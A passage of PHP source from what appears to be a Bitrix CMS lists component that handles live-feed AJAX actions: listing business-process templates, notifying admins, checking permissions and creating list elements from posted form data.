			$this->randomString = htmlspecialcharsbx($this->request->getPost('randomString'));
			$templateData = $this->getTemplatesIdList($this->iblockId);
			if(empty($templateData))
			{
				$html = '';
			}
			elseif(count($templateData) > 1)
			{
				$html .= '<p>'.Loc::getMessage("LISTS_SET_RESPONSIBLE_POPUP_DESCRIPTION").'</p>';
				foreach($templateData as $templateId => $templateName)
				{
					$url = 'javascript:BX.Lists[\'LiveFeedClass_'.$this->randomString.'\'].setResponsible(\''.$templateId.'\');';
					$html .= '<a href="'.$url.'"><div class="bx-lists-designer-item">'.htmlspecialcharsbx($templateName).'</div></a>';
				}
			}
			else
			{
				foreach($templateData as $templateId => $templateName)
				{
					$html .= $this->createHtmlSetConstants($templateId, $templateName);
				}
			}
		}

		if(empty($html))
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_NOT_BIZPROC_TEMPLATE_NEW'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$errorObject = array_shift($this->errorCollection->toArray());
			ShowError($errorObject->getMessage());
			return;
		}
		echo $html;

		$this->end();
	}

	protected function createHtmlSetConstants($templateId, $templateName)
	{
		$html = '';

		$html .= '<span class="bx-lists-template-name">'.htmlspecialcharsbx($templateName).'</span>';
		ob_start();
		$this->getApplication()->includeComponent(
			'bitrix:bizproc.workflow.setconstants',
			'',
			Array('ID' => $templateId, 'POPUP' => 'Y')
		);
		$html .= ob_get_contents();
		ob_end_clean();
		$html .= '<hr class="bx-lists-constants-form-hr">';

		return $html;
	}

	protected function processActionIsConstantsTuned()
	{
		$this->checkRequiredPostParams(array('iblockId'));
		if(!Loader::includeModule('bizproc') || !CBPRuntime::isFeatureEnabled())
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_BIZPROC'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->checkPermissionElement();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$templateData = $this->getTemplatesIdList($this->iblockId);

		if(empty($templateData))
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_NOT_BIZPROC_TEMPLATE_NEW'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$admin = true;
		if($this->listPerm < CListPermissions::IS_ADMIN && !CIBlockRights::UserHasRightTo($this->iblockId, $this->iblockId, 'iblock_edit'))
			$admin = false;

		$isConstantsTuned = true;
		foreach($templateData as $templateId => $templateName)
		{
			if(!CBPWorkflowTemplateLoader::isConstantsTuned($templateId))
				$isConstantsTuned = false;
		}
		if($isConstantsTuned)
		{
			$this->sendJsonSuccessResponse(array(
				'templateData' => $templateData,
			));
		}
		else
		{
			$this->sendJsonSuccessResponse(array(
				'admin' => $admin,
				'templateData' => $templateData,
			));
		}
	}

	/**
	 * @param $iblockId
	 * @return array
	 */
	protected function getTemplatesIdList($iblockId)
	{
		if(!Loader::includeModule('bizproc') || !CBPRuntime::isFeatureEnabled())
		{
			return array();
		}

		$documentType = BizprocDocument::generateDocumentComplexType(
			COption::GetOptionString("lists", "livefeed_iblock_type_id"),
			$iblockId
		);
		$templateLoader = CBPWorkflowTemplateLoader::GetLoader();
		$templateQuery = $templateLoader->getTemplatesList(
			array('ID' => 'DESC'),
			array('DOCUMENT_TYPE' => $documentType, 'AUTO_EXECUTE' => CBPDocumentEventType::Create),
			false,
			false,
			array('ID', 'NAME')
		);
		$templateData = array();
		while($template = $templateQuery->fetch())
		{
			$templateData[$template['ID']] = $template['NAME'];
		}
		return $templateData;
	}

	protected function processActionGetListAdmin()
	{
		$this->checkRequiredPostParams(array('iblockId'));
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->iblockTypeId = COption::GetOptionString("lists", "livefeed_iblock_type_id");

		$this->checkPermissionElement();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$rightObject = new CIBlockRights($this->iblockId);
		$rights = $rightObject->getRights();
		$rightsList = $rightObject->getRightsList(false);
		$idRight = array_search('iblock_full', $rightsList);
		$listUser = array();
		$nameTemplate = CSite::GetNameFormat(false);
		foreach($rights as $right)
		{
			$res = strpos($right['GROUP_CODE'], 'U');
			if($right['TASK_ID'] == $idRight && $res === 0)
			{
				$userId = substr($right['GROUP_CODE'], 1);
				$users = CUser::GetList($by="id", $order="asc",
					array('ID' => $userId),
					array('FIELDS' => array('ID', 'PERSONAL_PHOTO', 'NAME', 'LAST_NAME'))
				);
				$user = $users->fetch();
				$file['src'] = '';
				if ($user)
				{
					$file = \CFile::ResizeImageGet(
						$user['PERSONAL_PHOTO'],
						array('width' => 58, 'height' => 58),
						\BX_RESIZE_IMAGE_EXACT,
						false
					);
				}
				$listUser[$userId]['id'] = $userId;
				$listUser[$userId]['img'] = $file['src'];
				$listUser[$userId]['name'] = CUser::FormatName($nameTemplate, $user, false);
			}
		}
		$users = CUser::getList(($b = 'ID'), ($o = 'ASC'),
			array('GROUPS_ID' => 1, 'ACTIVE' => 'Y'),
			array('FIELDS' => array('ID', 'PERSONAL_PHOTO', 'NAME', 'LAST_NAME'))
		);
		while ($user = $users->fetch())
		{
			$file = \CFile::ResizeImageGet(
				$user['PERSONAL_PHOTO'],
				array('width' => 58, 'height' => 58),
				\BX_RESIZE_IMAGE_EXACT,
				false
			);
			$listUser[$user['ID']]['id'] = $user['ID'];
			$listUser[$user['ID']]['img'] = $file['src'];
			$listUser[$user['ID']]['name'] = CUser::FormatName($nameTemplate, $user, false);
		}

		$listUser= array_values($listUser);
		$this->sendJsonSuccessResponse(array(
			'listAdmin' => $listUser
		));
	}

	protected function processActionNotifyAdmin()
	{
		$this->checkRequiredPostParams(array('userId'));
		if(!Loader::includeModule('im'))
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_IM'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->iblockTypeId = COption::GetOptionString("lists", "livefeed_iblock_type_id");
		$siteId = SITE_ID;
		if($this->request->getPost('siteId'))
			$siteId = $this->request->getPost('siteId');
		$siteDir = SITE_DIR;
		if($this->request->getPost('siteId'))
			$siteDir = $this->request->getPost('siteDir');

		$this->checkPermissionElement();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$userIdFrom = intval($this->getUser()->getID());
		$userIdTo = intval($this->request->getPost('userId'));
		$iblockName = $this->request->getPost('iblockName');

		$urlForAdmin = COption::GetOptionString('socialnetwork', 'user_page', '/company/personal/', $siteId);
		$urlForAdmin = $urlForAdmin.'log/?bp_setting='.$this->iblockId;

		$messageFields = array(
			'TO_USER_ID' => $userIdTo,
			'FROM_USER_ID' => $userIdFrom,
			'NOTIFY_TYPE' => IM_NOTIFY_FROM,
			'NOTIFY_MODULE' => 'lists',
			'NOTIFY_TAG' => 'LISTS|NOTIFY_ADMIN|'.$userIdTo.'|'.$userIdFrom,
			'NOTIFY_MESSAGE' => Loc::getMessage('LISTS_SEAC_NOTIFY_MESSAGE', array('#NAME_PROCESSES#' => $iblockName, '#URL#' => $urlForAdmin))
		);
		$messageId = CIMNotify::Add($messageFields);

		if($messageId)
		{
			$this->sendJsonSuccessResponse(
				array('message' => Loc::getMessage('LISTS_SEAC_NOTIFY_SUCCESS'))
			);
		}
		else
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_NOTIFY_ERROR'))));
			$this->sendJsonErrorResponse();
		}
	}

	protected function processActionGetBizprocTemplateId()
	{
		$this->checkRequiredPostParams(array('iblockId'));
		if(!Loader::includeModule('bizproc') || !CBPRuntime::isFeatureEnabled())
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_BIZPROC'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->checkPermission();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}
		$documentType = BizprocDocument::generateDocumentComplexType(COption::GetOptionString("lists", "livefeed_iblock_type_id"), $this->iblockId);
		$templateLoader = CBPWorkflowTemplateLoader::GetLoader();
		$templateQuery = $templateLoader->getTemplatesList(
			array('ID' => 'DESC'),
			array('DOCUMENT_TYPE' => $documentType, 'AUTO_EXECUTE' => CBPDocumentEventType::Create),
			false,
			false,
			array('ID', 'NAME')
		);
		$isAvailable = false;
		$templateData = array();
		while($template = $templateQuery->fetch())
		{
			$isAvailable = true;
			$templateData[$template['ID']]['ID'] = $template['ID'];
			$templateData[$template['ID']]['NAME'] = $template['NAME'];
		}
		if(!$isAvailable)
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_NOT_BIZPROC_TEMPLATE_NEW'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}
		$manyTemplate = false;
		if(count($templateData) > 1)
		{
			$manyTemplate = true;
		}

		$this->sendJsonSuccessResponse(array(
			'templateData' => $templateData,
			'manyTemplate' => $manyTemplate
		));
	}

	protected function processActionCheckPermissions()
	{
		$this->checkRequiredPostParams(array('iblockId'));
		if(!Loader::includeModule('bizproc') || !CBPRuntime::isFeatureEnabled())
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_BIZPROC'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->checkPermission();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$this->sendJsonSuccessResponse(array());
	}

	protected function processActionCreateSettingsDropdown()
	{
		$this->checkRequiredPostParams(array('iblockId', 'randomString'));
		if(!Loader::includeModule('bizproc') || !CBPRuntime::isFeatureEnabled())
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_BIZPROC'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}
		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->randomString = htmlspecialcharsbx($this->request->getPost('randomString'));
		$this->iblockTypeId = COption::GetOptionString("lists", "livefeed_iblock_type_id");
		$this->checkPermissionElement();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$settingsDropdown = array();
		$settingsDropdown[] = array(
			'text' => Loc::getMessage('LISTS_SEAC_SELECT_RESPONSIBILITY_NEW'),
			'title' => Loc::getMessage('LISTS_SEAC_SELECT_RESPONSIBILITY_NEW'),
			'href' => "javascript:BX.Lists['LiveFeedClass_{$this->randomString}'].setResponsible();",
		);
		$settingsDropdown[] = array(
			'text' => Loc::getMessage('LISTS_SEAC_DELEGATE_RESPONSIBLE_NEW'),
			'title' => Loc::getMessage('LISTS_SEAC_DELEGATE_RESPONSIBLE_NEW'),
			'href' => "javascript:BX.Lists['LiveFeedClass_{$this->randomString}'].setDelegateResponsible();",
		);
		$settingsDropdown[] = array(
			'text' => Loc::getMessage('LISTS_SEAC_DESIGNER_BP_NEW'),
			'title' => Loc::getMessage('LISTS_SEAC_DESIGNER_BP_NEW'),
			'href' => "javascript:BX.Lists['LiveFeedClass_{$this->randomString}'].jumpProcessDesigner();",
		);
		$settingsDropdown[] = array(
			'text' => Loc::getMessage('LISTS_SEAC_SETTING_LIST_NEW'),
			'title' => Loc::getMessage('LISTS_SEAC_SETTING_LIST_NEW'),
			'href' => "javascript:BX.Lists['LiveFeedClass_{$this->randomString}'].jumpSettingProcess();",
		);

		$this->sendJsonSuccessResponse(array(
			'settingsDropdown' => $settingsDropdown,
		));
	}

	protected function processActionCheckDelegateResponsible()
	{
		$this->checkRequiredPostParams(array('iblockId'));
		if(!Loader::includeModule('iblock'))
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_IBLOCK'))));
		}
		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->iblockTypeId = COption::GetOptionString('lists', 'livefeed_iblock_type_id');
		$this->checkPermission();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$rightObject = new CIBlockRights($this->iblockId);
		$rights = $rightObject->getRights();
		$rightsList = $rightObject->getRightsList(false);
		$idRight = array_search('iblock_full', $rightsList);
		$listUser = array();
		$nameTemplate = CSite::GetNameFormat(false);
		$count = 0;
		foreach($rights as $right)
		{
			$res = strpos($right['GROUP_CODE'], 'U');
			if($right['TASK_ID'] == $idRight && $res === 0)
			{
				$userId = substr($right['GROUP_CODE'], 1);
				$userGroups = CUser::getUserGroup($userId);
				if(!in_array(1, $userGroups))
				{
					$userQuery = CUser::getList(
						$by = 'ID', $order = 'ASC',
						array('ID' => $userId),
						array('FIELDS' => array('ID' ,'LOGIN', 'NAME', 'LAST_NAME', 'SECOND_NAME', 'TITLE', 'EMAIL')
						)
					);
					if ($user = $userQuery->fetch())
					{
						$listUser[$count]['id'] = $right['GROUP_CODE'];
						$listUser[$count]['name'] = CUser::formatName($nameTemplate, $user, false);
					}
				}
			}
			$count++;
		}

		$this->sendJsonSuccessResponse(array(
			'listUser' => $listUser
		));
	}

	protected function unEscape($data)
	{
		global $APPLICATION;

		if(is_array($data))
		{
			$res = array();
			foreach($data as $k => $v)
			{
				$k = $APPLICATION->ConvertCharset(\CHTTP::urnDecode($k), "UTF-8", LANG_CHARSET);
				$res[$k] = $this->unEscape($v);
			}
		}
		else
		{
			$res = $APPLICATION->ConvertCharset(\CHTTP::urnDecode($data), "UTF-8", LANG_CHARSET);
		}

		return $res;
	}

	protected function processActionCheckDataElementCreation()
	{
		if($_POST["save"] != "Y" && $_POST["changePostFormTab"] != "lists" && !check_bitrix_sessid())
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_IBLOCK'))));

		if(!Loader::IncludeModule('bizproc') || !CBPRuntime::isFeatureEnabled())
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_BIZPROC'))));

		if(!Loader::includeModule('iblock'))
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_IBLOCK'))));

		$this->iblockId = intval($this->request->getPost('IBLOCK_ID'));
		$this->iblockTypeId = COption::GetOptionString("lists", "livefeed_iblock_type_id");
		$this->checkPermissionElement();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$documentType = BizprocDocument::generateDocumentComplexType(COption::GetOptionString("lists", "livefeed_iblock_type_id"), $this->iblockId);

		$templateIdString = $_POST['TEMPLATE_ID'];
		$templateData = explode(',', $templateIdString);

		if(!empty($templateData))
		{
			if(CModule::IncludeModule('bizproc') && CBPRuntime::isFeatureEnabled())
			{
				$isConstantsTuned = true;
				foreach($templateData as $templateId)
				{
					if(!empty($templateId))
					{
						if(!CBPWorkflowTemplateLoader::isConstantsTuned($templateId))
							$isConstantsTuned = false;
					}
				}

				if(!$isConstantsTuned)
				{
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_IS_CONSTANTS_TUNED_NEW'))));
					$this->sendJsonErrorResponse();
				}
			}
		}
		else
		{
			if(CModule::IncludeModule("bizproc") && CBPRuntime::isFeatureEnabled())
			{
				$templateData = $this->getTemplatesIdList($this->iblockId);

				if(!empty($templateData))
				{
					$isConstantsTuned = true;
					foreach($templateData as $templateId => $templateName)
					{
						if(!CBPWorkflowTemplateLoader::isConstantsTuned($templateId))
							$isConstantsTuned = false;
					}
					if(!$isConstantsTuned)
					{
						$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_IS_CONSTANTS_TUNED_NEW'))));
						$this->sendJsonErrorResponse();
					}
				}
				else
				{
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_NOT_BIZPROC_TEMPLATE_NEW'))));
					$this->sendJsonErrorResponse();
				}
			}
		}

		$list = new CList($this->iblockId);
		$fields = $list->getFields();
		$elementData = array(
			"IBLOCK_ID" => $this->iblockId,
			"NAME" => $_POST["NAME"],
		);
		$props = array();
		foreach($fields as $fieldId => $field)
		{
			if($fieldId == "PREVIEW_PICTURE" || $fieldId == "DETAIL_PICTURE")
			{
				$elementData[$fieldId] = $_FILES[$fieldId];
				if(isset($_POST[$fieldId."_del"]) && $_POST[$fieldId."_del"]=="Y")
					$elementData[$fieldId]["del"] = "Y";
			}
			elseif($fieldId == "PREVIEW_TEXT" || $fieldId == "DETAIL_TEXT")
			{
				if(
					isset($field["SETTINGS"])
					&& is_array($field["SETTINGS"])
					&& $field["SETTINGS"]["USE_EDITOR"] == "Y"
				)
					$elementData[$fieldId."_TYPE"] = "html";
				else
					$elementData[$fieldId."_TYPE"] = "text";

				$elementData[$fieldId] = $_POST[$fieldId];
			}
			elseif($fieldId == 'ACTIVE_FROM' || $fieldId == 'ACTIVE_TO')
			{
				$elementData[$fieldId] = array_shift($_POST[$fieldId]);
			}
			elseif($list->is_field($fieldId))
			{
				$elementData[$fieldId] = $_POST[$fieldId];
			}
			elseif($field["PROPERTY_TYPE"] == "F")
			{
				if(isset($_POST[$fieldId."_del"]))
					$deleteArray = $_POST[$fieldId."_del"];
				else
					$deleteArray = array();
				$props[$field["ID"]] = array();
				$files = $this->unEscape($_FILES);
				if(isset($files[$fieldId]) && is_array($files[$fieldId]))
				{
					CFile::ConvertFilesToPost($files[$fieldId], $props[$field["ID"]]);
					foreach($props[$field["ID"]] as $fileId => $file)
					{
						if(
							isset($deleteArray[$fileId])
							&& (
								(!is_array($deleteArray[$fileId]) && $deleteArray[$fileId]=="Y")
								|| (is_array($deleteArray[$fileId]) && $deleteArray[$fileId]["VALUE"]=="Y")
							)
						)
						{
							if(isset($props[$field["ID"]][$fileId]["VALUE"]))
								$props[$field["ID"]][$fileId]["VALUE"]["del"] = "Y";
							else
								$props[$field["ID"]][$fileId]["del"] = "Y";
						}
					}
				}
			}
			elseif($field["PROPERTY_TYPE"] == "N")
			{
				if(is_array($_POST[$fieldId]) && !array_key_exists("VALUE", $_POST[$fieldId]))
				{
					$props[$field["ID"]] = array();
					foreach($_POST[$fieldId] as $key=>$value)
					{
						if(is_array($value))
						{
							if(strlen($value["VALUE"]))
							{
								$value = str_replace(" ", "", str_replace(",", ".", $value["VALUE"]));
								if (!is_numeric($value))
								{
									$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_IS_VALIDATE_FIELD_ERROR', array('#NAME#'=>$field['NAME'])))));
									$this->sendJsonErrorResponse();
								}
								$props[$field["ID"]][$key] = doubleval($value);
							}

						}
						else
						{
							if(strlen($value))
							{
								$value = str_replace(" ", "", str_replace(",", ".", $value));
								if (!is_numeric($value))
								{
									$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_IS_VALIDATE_FIELD_ERROR', array('#NAME#'=>$field['NAME'])))));
									$this->sendJsonErrorResponse();
								}
								$props[$field["ID"]][$key] = doubleval($value);
							}
						}
					}
				}
				else
				{
					if(is_array($_POST[$fieldId]))
					{
						if(strlen($_POST[$fieldId]["VALUE"]))
						{
							$value = str_replace(" ", "", str_replace(",", ".", $_POST[$fieldId]["VALUE"]));
							if (!is_numeric($value))
							{
								$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_IS_VALIDATE_FIELD_ERROR', array('#NAME#'=>$field['NAME'])))));
								$this->sendJsonErrorResponse();
							}
							$props[$field["ID"]] = doubleval($value);
						}
					}
					else
					{
						if(strlen($_POST[$fieldId]))
						{
							$value = str_replace(" ", "", str_replace(",", ".", $_POST[$fieldId]));
							if (!is_numeric($value))
							{
								$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_IS_VALIDATE_FIELD_ERROR', array('#NAME#'=>$field['NAME'])))));
								$this->sendJsonErrorResponse();
							}
							$props[$field["ID"]] = doubleval($value);
						}
					}
				}
			}
			else
			{
				$props[$field["ID"]] = $_POST[$fieldId];
			}
		}
		$elementData["MODIFIED_BY"] = $this->getUser()->getID();
		unset($elementData["TIMESTAMP_X"]);
		if(!empty($props))
		{
			$elementData["PROPERTY_VALUES"] = $props;
		}

		$documentStates = CBPDocument::GetDocumentStates($documentType, null);
		$userId = $this->getUser()->getId();
		$write = CBPDocument::CanUserOperateDocumentType(
			CBPCanUserOperateOperation::WriteDocument,
			$userId,
			$documentType,
			array('AllUserGroups' => array(), 'DocumentStates' => $documentStates)
		);

		if(!$write)
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_IS_ACCESS_DENIED_STATUS'))));
			$this->sendJsonErrorResponse();
		}

		$bizprocParametersValues = array();
		$stringError = '';
		foreach ($documentStates as $documentState)
		{
			if(strlen($documentState["ID"]) <= 0)
			{
				$errors = array();
				$bizprocParametersValues[$documentState['TEMPLATE_ID']] = CBPDocument::StartWorkflowParametersValidate(
					$documentState['TEMPLATE_ID'],
					$documentState['TEMPLATE_PARAMETERS'],
					$documentType,
					$errors
				);
				foreach($errors as $e)
					$stringError .= $e['message'].'<br />';
			}
		}
		if(!empty($stringError))
		{
			$this->errorCollection->add(array(new Error($stringError)));
			$this->sendJsonErrorResponse();
		}

		$objectElement = new CIBlockElement;
		$idElement = $objectElement->Add($elementData, false, true, true);

		if($idElement)
		{
			$bizProcWorkflowId = array();
			foreach($documentStates as $documentState)
			{
				if(strlen($documentState["ID"]) <= 0)
				{
					$errorsTmp = array();

					$bizProcWorkflowId[$documentState['TEMPLATE_ID']] = CBPDocument::StartWorkflow(
						$documentState['TEMPLATE_ID'],
						array('lists', 'BizprocDocument', $idElement),
						array_merge($bizprocParametersValues[$documentState['TEMPLATE_ID']], array('TargetUser' => 'user_'.intval($this->getUser()->getID()))),
						$errorsTmp
					);
				}
			}

			/*if(!empty($errorsTmp))
			{
				$documentStates = null;
				CBPDocument::AddDocumentToHistory(
					array('lists','BizprocDocument',$idElement),
					$elementData['NAME'],
					$this->getUser()->getID()
				);
			}*/
		}
		else
		{
			$this->errorCollection->add(array(new Error($objectElement->LAST_ERROR)));
			$this->sendJsonErrorResponse();
		}

		$this->sendJsonSuccessResponse(array());
	}

	protected function checkPermission()
	{
		$this->listPerm = CListPermissions::checkAccess(
			$this->getUser(),
			$this->iblockTypeId,
			$this->iblockId,
			$this->socnetGroupId
		);
		if($this->listPerm < 0)
		{
			switch($this->listPerm)
			{
				case CListPermissions::WRONG_IBLOCK_TYPE:
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_WRONG_IBLOCK_TYPE'))));
					break;
				case CListPermissions::WRONG_IBLOCK:
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_WRONG_IBLOCK'))));
					break;
				case CListPermissions::LISTS_FOR_SONET_GROUP_DISABLED:
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_LISTS_FOR_SONET_GROUP_DISABLED'))));
					break;
				default:
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_UNKNOWN_ERROR'))));
					break;
			}
		}
		elseif($this->listPerm < CListPermissions::IS_ADMIN && !CIBlockRights::UserHasRightTo($this->iblockId, $this->iblockId, 'iblock_edit'))
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_ACCESS_DENIED'))));
		}
	}

	protected function checkPermissionElement()
	{
		$this->listPerm = CListPermissions::checkAccess(
			$this->getUser(),
			$this->iblockTypeId,
			$this->iblockId,
			$this->socnetGroupId
		);
		if($this->listPerm < 0)
		{
			switch($this->listPerm)
			{
				case CListPermissions::WRONG_IBLOCK_TYPE:
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_WRONG_IBLOCK_TYPE'))));
					break;
				case CListPermissions::WRONG_IBLOCK:
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_WRONG_IBLOCK'))));
					break;
				case CListPermissions::LISTS_FOR_SONET_GROUP_DISABLED:
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_LISTS_FOR_SONET_GROUP_DISABLED'))));
					break;
				default:
					$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_UNKNOWN_ERROR'))));
					break;
			}
		}
		elseif(($this->listPerm < CListPermissions::CAN_READ &&
			!CIBlockSectionRights::UserHasRightTo($this->iblockId, 0, 'section_element_bind')))
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_ACCESS_DENIED'))));
		}
	}

	protected function getListData()
	{
		$list = new CList($this->iblockId);
		$this->lists['FIELDS'] = $list->getFields();

		$this->lists['SELECT'] = array('ID', 'IBLOCK_ID', 'NAME', 'IBLOCK_SECTION_ID', 'CREATED_BY', 'BP_PUBLISHED');
		$this->lists['DATA'] = array();
		$this->lists['DATA']['NAME'] = Loc::getMessage('LISTS_SEAC_FIELD_NAME_DEFAULT');
		$this->lists['DATA']['IBLOCK_SECTION_ID'] =  '';

		foreach($this->lists['FIELDS'] as $fieldId => $field)
		{
			$this->lists['FIELDS'][$fieldId]['NAME'] = htmlspecialcharsbx($this->lists['FIELDS'][$fieldId]['NAME']);

			if($list->is_field($fieldId))
			{
				if($fieldId == 'ACTIVE_FROM' || $fieldId == 'PREVIEW_PICTURE' || $fieldId == 'DETAIL_PICTURE')
				{
					if($field['DEFAULT_VALUE'] === '=now')
						$this->lists['DATA'][$fieldId] = ConvertTimeStamp(time()+CTimeZone::GetOffset(), 'FULL');
					elseif($field['DEFAULT_VALUE'] === '=today')
						$this->lists['DATA'][$fieldId] = ConvertTimeStamp(time()+CTimeZone::GetOffset(), 'SHORT');
					else
						$this->lists['DATA'][$fieldId] = '';
				}
				else
				{
					$this->lists['DATA'][$fieldId] = $field['DEFAULT_VALUE'];
				}
				$this->lists['SELECT'][] = $fieldId;
			}
			elseif(is_array($field['PROPERTY_USER_TYPE']) && array_key_exists('GetPublicEditHTML', $field['PROPERTY_USER_TYPE']))
			{
				$this->lists['DATA'][$fieldId] = array(
					'n0' => array(
						'VALUE' => $field['DEFAULT_VALUE'],
						'DESCRIPTION' => '',
					)
				);
			}
			elseif($field['PROPERTY_TYPE'] == 'L')
			{
				$this->lists['DATA'][$fieldId] = array();
				$propEnums = CIBlockProperty::getPropertyEnum($field['ID']);
				while($enum = $propEnums->fetch())
					if($enum['DEF'] == 'Y')
						$this->lists['DATA'][$fieldId][] =$enum['ID'];
			}
			elseif($field['PROPERTY_TYPE'] == 'F')
			{
				$this->lists['DATA'][$fieldId] = array(
					'n0' => array('VALUE' => $field['DEFAULT_VALUE'], 'DESCRIPTION' => ''),
				);
			}
			elseif($field['PROPERTY_TYPE'] == 'G' || $field['PROPERTY_TYPE'] == 'E')
			{
				$this->lists['DATA'][$fieldId] = array($field['DEFAULT_VALUE']);
			}
			else
			{
				$this->lists['DATA'][$fieldId] = array(
					'n0' => array('VALUE' => $field['DEFAULT_VALUE'], 'DESCRIPTION' => ''),
				);
				if($field['MULTIPLE'] == 'Y')
				{
					if(is_array($field['DEFAULT_VALUE']) || strlen($field['DEFAULT_VALUE']))
						$this->lists['DATA'][$fieldId]['n1'] = array('VALUE' => '', 'DESCRIPTION' => '');
				}
			}

			if($fieldId == 'CREATED_BY')
				$this->lists['SELECT'][] = 'CREATED_USER_NAME';

			if($fieldId == 'MODIFIED_BY')
				$this->lists['SELECT'][] = 'USER_NAME';
		}
	}

	/**
	 * @return array
	 */
	protected function createFormData()
	{
		foreach($this->lists['DATA'] as $key => $value)
		{
			$this->lists['FORM_DATA'][$key] = $value;
			if(is_array($value))
			{
				foreach($value as $key1 => $value1)
				{
					if(is_array($value1))
					{
						foreach($value1 as $key2 => $value2)
							if(!is_array($value2))
								$value[$key1][$key2] = htmlspecialcharsbx($value2);
					}
					else
					{
						$value[$key1] = htmlspecialcharsbx($value1);
					}
				}
				$this->lists['FORM_DATA'][$key] = $value;
			}
			else
			{
				$this->lists['FORM_DATA'][$key] = htmlspecialcharsbx($value);
			}
		}
	}

	protected function getElementFields()
	{
		$elements = CIBlockElement::getList(
			array(),
			array(
				'IBLOCK_ID' => $this->iblockId,
				"=ID" => $this->lists['ELEMENT_ID'],
			),
			false,
			false,
			$this->lists['SELECT']
		);
		$element = $elements->getNextElement();
		if(is_object($element))
			$this->lists['ELEMENT_FIELDS'] = $element->getFields();
		else
			$this->lists['ELEMENT_FIELDS'] = array();
	}

	protected function createPreparedFields()
	{
		$this->lists['PREPARED_FIELDS'] = array();
		$this->lists['ELEMENT_ID'] = 0;
		$this->createFormData();
		$this->getElementFields();

		$this->getApplication()->showAjaxHead();

		foreach($this->lists['FIELDS'] as $fieldId => $field)
		{
			if($fieldId == 'ACTIVE_FROM' || $fieldId == 'ACTIVE_TO')
			{
				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					'id' => $fieldId.'['.$this->iblockId.']',
					'name' => $field['NAME'],
					'required' => $field['IS_REQUIRED']=='Y'? true: false,
					'type' => 'date',
					'value' => $this->lists['FORM_DATA'][$fieldId]
				);
			}
			elseif($fieldId == 'PREVIEW_PICTURE' || $fieldId == 'DETAIL_PICTURE')
			{
				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					'id' => $fieldId,
					'name' => $field['NAME'],
					'required' => $field['IS_REQUIRED']=='Y'? true: false,
					'type' => 'file'
				);
			}
			elseif($fieldId == 'PREVIEW_TEXT' || $fieldId == 'DETAIL_TEXT')
			{
				if($field['SETTINGS']['USE_EDITOR'] == 'Y')
				{
					$params = array(
						'width' => '100%',
						'height' => '200px',
						'iblockId' => $this->iblockId
					);
					$match = array();
